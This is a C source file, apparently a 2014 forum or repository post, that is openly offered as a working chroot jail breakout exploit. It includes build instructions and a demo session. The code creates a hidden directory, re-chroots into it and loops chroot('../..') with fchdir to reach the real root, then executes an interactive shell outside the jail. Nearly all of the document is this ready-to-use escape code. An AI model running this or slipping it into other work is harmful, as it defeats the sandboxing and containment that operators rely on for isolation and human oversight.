get out of chroot jail free card good from 1999 - present

/// You have been able to break out of chroot jail with this exploit since 1999.
/// I'm posting this in 2014....
//////////////////////////////////////////////////////////////////////////////////
/// This blast from the past brought back to you by: MadMouse
/// Build it like this:
/// gcc -static breakout.c -o breakout
///
/// Play like this:
/// root@amnesia:/media/philez/tester# sudo chroot . /bin/sh -l
/// / # ls /
/// bin       breakout  etc       home      lib       lib64     var
/// / # ./breakout
/// root@amnesia:/media/philez/tester# ls /
/// bin   dev  home        initrd.img.old  live   mnt  proc  run   selinux  sys  usr  vmlinuz
/// boot  etc  initrd.img  lib         media  opt  root  sbin  srv  tmp  var  vmlinuz.old
/// root@amnesia:/media/philez/tester#
// ----------------------------------------------------------------------------
// "THE BEER-WARE LICENSE" (Revision 43):
// <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
// can do whatever you want with this stuff. If we meet some day, and you think
// this stuff is worth it, you can buy me a beer in return Aaron R. Yool
// ----------------------------------------------------------------------------

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define SHELL_PATH "/bin/sh"
#define SHELL_OPTIONS "-i"

void fuck(void)
{
    puts("\nWell man, it looks like I've failed you this time...\n\n"\
        "Make sure you are running this as root in the chroot.... lol\n\n");
    exit(-1);   /// exit, we failed....
}

int main(void)
{
    setuid(0);              /// just in case lol
    int real=open(".",O_RDONLY);        /// lets get the file descriptor
    chdir("/");             /// go to the root directory... lol
    mkdir("...  ", 0755);           /// create a special folder so that we can traverse to the real root
    if(chroot("...  ") == -1) fuck();   /// chroot to our special folder, or exit
    if (fchdir(real) == -1) fuck();     /// change the current working directory to reality, or exit
    close(real);                /// my mom always told me to clean up after myself
    int i;
    for(i=0;i<=512;++i)         /// for giggles, do this 512 times just in case
        if(chroot("../../../../../../") == -1) fuck(); /// find the real root, or exit

    if(access("/...  ", F_OK) != -1) fuck();/// if our special directory exists in the root directory, exit
    return execl(SHELL_PATH, SHELL_OPTIONS, NULL);  /// on success, give us an outside shell!!!
}